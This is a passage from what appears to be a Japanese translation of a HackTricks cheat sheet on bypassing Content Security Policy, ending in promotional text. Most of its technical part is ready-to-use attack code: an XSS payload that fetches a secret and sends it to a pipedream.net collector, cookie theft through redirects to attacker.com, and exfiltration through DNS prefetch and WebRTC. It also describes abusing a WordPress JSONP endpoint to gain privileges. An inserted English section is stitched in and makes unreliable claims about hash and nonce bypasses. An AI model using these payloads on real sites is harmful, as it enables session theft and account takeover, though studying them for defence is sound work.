この解説によると、エラーページ(おそらくCSPなしで)を読み込んでそのコンテンツを書き換えることで、CSP保護をバイパスすることが可能だったようです。
a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);
SOME + 'self' + wordpress
SOMEは、ページのエンドポイントでのXSS(または非常に制限されたXSS)を悪用して、同じオリジンの他のエンドポイントを悪用する技術です。これは、攻撃者のページから脆弱なエンドポイントを読み込み、その後攻撃者のページをリフレッシュして、悪用したい同じオリジンの実際のエンドポイントに移動することで行われます。この方法により、脆弱なエンドポイントは**opener
オブジェクトをペイロード**で使用して、悪用したい実際のエンドポイントのDOMにアクセスできます。詳細については、次を参照してください:
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}
さらに、WordPressには、/wp-json/wp/v2/users/1?_jsonp=data
にあるJSONPエンドポイントがあり、出力に送信されたデータを反映します(文字、数字、ドットのみの制限付き)。
攻撃者は、WordPressに対してSOME攻撃を生成し、<script s
rc=/wp-json/wp/v2/users/1?_jsonp=some_attack></script>
内に埋め込むことで、'self'によって許可されているため、このスクリプトがロードされる可能性があります。さらに、WordPressがインストールされているため、攻撃者は、CSPをバイパスしてユーザーにより多くの権限を与えたり、新しいプラグインをインストールしたりするために、脆弱な コールバックエンドポイントを介してSOME攻撃を悪用するかもしれません。
この攻撃を実行する方法の詳細については、https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/を参照してください。
CSP Exfiltration Bypasses
外部サーバーとのやり取りを許可しない厳格なCSPがある場合、情報を外部に漏洩させるために常にできることがいくつかあります。
Location
単にロケーションを更新して、秘密情報を攻撃者のサーバーに送信することができます:
var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;
メタタグ
メタタグを注入することでリダイレクトすることができます(これは単なるリダイレクトであり、コンテンツは漏洩しません)。
<meta http-equiv="refresh" content="1; http://attacker.com">
DNS Prefetch
ページを高速に読み込むために、ブラウザはホスト名をIPアドレスに事前解決し、後で使用するためにキャッシュします。
ブラウザにホスト名を事前解決するよう指示することができます: <link rel="dns-prefetch" href="something.com">
これを悪用して、DNSリクエストを介して機密情報を外部に送信することができます。
var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";
Content Security Policy (CSP) Bypass
Bypassing CSP using unsafe-inline
If a website allows unsafe-inline
in its CSP policy, an attacker can execute arbitrary inline scripts by injecting them into HTML attributes such as onmouseover
, onclick
, etc.
Bypassing CSP using data: URI
By using data: URIs, an attacker can bypass CSP restrictions by embedding the script directly into the HTML document.
Bypassing CSP using nonce
attribute
If a website uses a nonce
attribute in its CSP policy, an attacker can bypass it by injecting a script tag with a valid nonce value obtained from the website's response headers.
Bypassing CSP using hashes
An attacker can bypass CSP restrictions by calculating the hash of the script and adding it to the CSP policy. This allows the script to execute even if it violates the CSP rules.
Bypassing CSP using sandbox
attribute
If a website uses the sandbox
attribute in its CSP policy, an attacker can bypass it by using a nested browsing context to execute malicious scripts.
const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);
この問題を回避するために、サーバーは次のHTTPヘッダーを送信できます:
X-DNS-Prefetch-Control: off
{% hint style="info" %} 明らかに、このテクニックはヘッドレスブラウザ(ボット)では機能しません {% endhint %}
WebRTC
いくつかのページで、WebRTCはCSPのconnect-src
ポリシーをチェックしないと読むことができます。
実際に、_DNSリクエスト_を使用して情報を_漏洩_させることができます。このコードをチェックしてください:
(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()
もう1つのオプション:
var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
オンラインでCSPポリシーをチェックする
CSPを自動的に作成する
https://csper.io/docs/generating-content-security-policy
参考文献
- https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/
- https://lcamtuf.coredump.cx/postxss/
- https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d
- https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme
- https://www.youtube.com/watch?v=MCyPuOWs3dg
- https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/
- https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/
HackenProof Discord サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!
ハッキングの洞察
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう
リアルタイムのハックニュース
リアルタイムのニュースと情報を通じて、ハッキングの世界を最新の状態で把握しましょう
最新のアナウンスメント
最新のバグバウンティの開始や重要なプラットフォームの更新情報を把握しましょう
Discord に参加して、今日からトップハッカーと協力を始めましょう!
**htARTE (HackTricks AWS Red Team Expert)** でAWSハッキングをゼロからヒーローまで学びましょう!
HackTricks をサポートする他の方法:
- HackTricks で企業を宣伝したい または HackTricks をPDFでダウンロードしたい 場合は SUBSCRIPTION PLANS をチェックしてください!
- 公式PEASS&HackTricksのグッズを入手してください
- The PEASS Family を発見し、独占的な NFTs のコレクションを見つけてください
- 💬 Discord グループ に参加するか、telegram グループ に参加するか、Twitter 🐦 @carlospolopm をフォローしてください
- HackTricks と HackTricks Cloud の github リポジトリに PR を提出して、あなたのハッキングトリックを共有してください